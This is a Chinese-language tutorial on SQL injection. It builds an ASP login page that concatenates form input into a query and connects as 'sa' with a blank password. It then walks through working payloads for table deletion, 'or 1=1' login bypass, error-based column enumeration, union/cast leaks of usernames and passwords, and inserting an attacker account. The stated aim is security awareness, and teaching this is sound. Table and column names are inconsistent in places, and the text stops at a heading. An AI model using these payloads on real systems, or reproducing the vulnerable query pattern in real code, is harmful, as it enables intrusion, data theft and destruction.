指的是黑客或恶意用户在应用程序不知道的情况下通过应用程序来对SQL 数据库执行恶意的代码,一旦渗透成功,可以做任何事情,如查看数据表中的信息,删除数据表的数据,到获得网络访问权限等,我们在使用一些商用应用程序的时候,如一些第三方软件,会要求我们在他们的使用界面中输入一个用户名和口令,这个用户名和口令不是数据库中的用户名和口令,而是这些商用应用软件所定义的用户名和口令,通过这些用户名和口令来进行相应的操作。这种使用方法可以进行精细的安全控制。所以当前的应用软件中大多都使用这种方法。
而我们这种SQL渗透会对这种方法进行攻击。
我们在这里介绍的内容,主要是为了使用大家在以后的工作中加强安全意识
我们要建立一个表来存放用户名和口令及访问级别
create table users (username varchar(10),password varchar(20), access int)
详见文档:
<form name="form1" method="post" action="logined.asp">
<table width="75%" border="1">
<tr>
<td colspan="2"><div align="center"><font size="5"><strong>用户登录</strong></font></div></td>
</tr>
<tr>
<td height="21">
<div align="right">用户名:</div></td>
<td><input name="login_nm" type="text" id="login_nm"></td>
</tr>
<tr>
<td><div align="right">口令:</div></td>
<td><input name="login_pw" type="text" id="login_pw"></td>
</tr>
<tr>
<td colspan="2"><div align="center">
<input type="submit" name="Submit" value="提交">
<input type="reset" name="Submit2" value="重置">
</div></td>
</tr>
</table>
</form>
</body> <%
username=request.form("login_nm")
password=request.form("login_pw")
set conn=server.createobject("adodb.connection")
conn.open "uid=sa;pwd=;server=localhost;driver={sql server};database=itet"
sql="select * from logins where USERNAME='"&username &"' and PASSWORD= '"&password &"'"
set rs=conn.execute(sql)
if not rs.eof=true then
response.write("登录成功,你可以得到任何你所需要的数据")
else
response.write("登录失败")
end if
%>
建立一个测试表: create table t1 (name varchar(10)) 一会把它删除
在用户名框中输入:’; drop table t1 –
此时出现一个登录失败的提示,但让我们来看一下T1表是否还存在!
已经消失在世界的尽头了!再也不会回来了
此时为什么不成功,就是SQL渗透在起作用:
我们来分析一下:
从正常登录:输入:DUFEI 杜飞 1 到输入:’; drop table –
分别是:
select * from logins where USERNAME=’u1’ and PASSWORD=’p1’;
select * from logins where USERNAME=’’; drop table t1 -- and PASSWORD=’p1’;
因为空用户名是错误的,所以会报登录失败
' or (1=1) --
分析:相当于在SQL 查询分析器中输入:
select * from logins where USERNAME=’’ or 1=1 -- and PASSWORD=’杜飞’;
通过这个例子可以看到,SQL 渗透确实可以起到进入系统,破坏系统的作用
是没有成功,要的就是这个效果,没有成功,但却得到了我们想要的东西,或者是说,可以从中得到我们感兴趣的东西:暴露了很多危险的东西,这些是作为一个黑客想知道的东西
'USERNAME' 在选择列表中无效,知道了用户名口令存放在哪个表,哪个字段中。然后可以猜到USERNAME存放的就是用户名
那么知道了这个有什么用 就可以进行更为危险的攻击
现在黑客想利用所知道的情况再进一步想知道这个表中还有什么字段,以及每个字段的类型。
此时再输入:' group by USERS.NAME having 1=1 --
又得到了一列:'USERS.PASSWORD' 在选择列表中无效,这时候想都不用想,这里肯定是口令。
再想得到第三个字段名是什么:
' group by USERS.USERNAME,USER.PASSWORD having 1=1 --
依次可以知道第四个,五个。。。。。。。字段
直到不出现错误提示,则说明所有字段都得到了。
' union select avg(USERS.USERNAME) from USERS--
能以 varchar 数据类型作为参数
' union select avg(USERS.PASSWORD) from USERS--
' union select cast(logins.login_nm as int),1,2 from logins --
将 varchar 值 'u1' 转换为数据类型为 int 的列时发生语法错误 得到了U1,这是一个用户名。
这对黑客是很有价值的,但是对系统来说是很危险的。
再进一步:他知道了你的数据表中有一个用户是U1,那么U1的口令是多少呢
' union select cast(logins.login_pw as int),1,2 from logins -- 别的地方不改,就改一个pw 如有多行,
最好用' union select cast(logins.login_pw as int),1,2 from logins where logins.login_nm='u1'--
即可
那如果再高级一点,他可以不用你的用户名口令,我可以直接向你的表中写一个用户名口令,用自己的。
';insert into logins values ('dufei','dufei',1) --
测试: